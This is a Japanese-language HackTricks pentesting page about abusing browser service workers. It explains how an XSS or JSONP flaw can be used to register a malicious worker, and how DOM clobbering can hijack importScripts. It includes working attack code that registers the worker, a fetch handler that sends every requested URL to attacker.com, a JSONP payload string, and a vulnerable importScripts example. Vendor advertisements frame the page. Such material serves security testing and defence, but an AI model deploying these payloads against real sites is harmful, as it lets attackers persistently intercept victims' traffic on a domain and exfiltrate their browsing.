hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

11 KiB
Raw Blame History

Service Workersの悪用

☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの問題を見つけます。無料でお試しください 今すぐ。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


基本情報

サービスワーカーは、ブラウザでバックグラウンドで実行されるスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、オフラインおよびバックグラウンド処理の機能を強化します。サービスワーカーの詳細情報はこちらで見つけることができます。脆弱なWebドメイン内でサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御することができます。

既存のサービスワーカーの確認

既存のサービスワーカーは、開発者ツールアプリケーションタブのサービスワーカーセクションで確認できます。別の方法として、より詳細なビューを得るためにchrome://serviceworker-internalsを訪れることができます。

プッシュ通知

プッシュ通知の許可は、サービスワーカーが直接ユーザーの操作なしにサーバーと通信する能力に直接影響を与えます。許可が拒否されると、サービスワーカーの潜在的な脅威を制限します。逆に、許可を与えると、潜在的な脆弱性の受信と実行を可能にすることでセキュリティリスクが増加します。

サービスワーカーの作成に対する攻撃

この脆弱性を悪用するには、次のものを見つける必要があります:

  • 任意のJSファイルをサーバーにアップロードする方法と、アップロードされたJSファイルのサービスワーカーをロードするXSS
  • 出力を操作できる脆弱なJSONPリクエストと、任意のJSコードで出力を操作できる脆弱なJSONPペイロードをロードするXSSと、悪意のあるサービスワーカーをロードする。

以下の例では、fetchイベントをリッスンし、取得されたURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録するコードを示します(これはサーバーにアップロードするか、脆弱なJSONP応答を介してロードする必要があるコードです):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

そして、これがワーカーを登録するコードです(XSSを悪用して実行できるはずのコード)。この場合、攻撃者のサーバーにGETリクエストが送信され、サービスワーカーの登録が成功したかどうかが通知されます:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

JSONPエンドポイントを悪用する場合は、値をvar swの内部に配置する必要があります。例:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Service Worker (SW) の悪用に特化したC2と呼ばれるShadow Workersがあり、これはこれらの脆弱性を悪用するのに非常に役立ちます。

24時間キャッシュディレクティブは、XSSの脆弱性修正後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された**サービスワーカーSW**の寿命を最大24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者はSWスクリプトのTime-To-LiveTTLを下げることができます。開発者はまた、迅速な無効化のためにサービスワーカーのキルスイッチを作成することが推奨されています。

DOM Clobberingを介したSW内のimportScriptsの悪用

Service Workerから呼び出される**importScripts関数は、異なるドメインからスクリプトをインポートすることができます。この関数が攻撃者が変更できるパラメータを使用して呼び出された場合、彼は自身のドメインからJSスクリプトをインポート**してXSSを取得できます。

これはCSP保護をバイパスします。

脆弱なコードの例:

  • index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

DOM Clobberingを使用する

DOM Clobberingについての詳細は、以下を参照してください:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

SWが**importScriptsを呼び出すURL/ドメインがHTML要素内にある場合、DOM Clobberingを使用してそれを変更して、SWが自分のドメインからスクリプトを読み込む**ようにすることが可能です。

これの例については、参照リンクを確認してください。

参考文献

最も重要な脆弱性を見つけて修正を迅速化しましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください 今すぐ。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥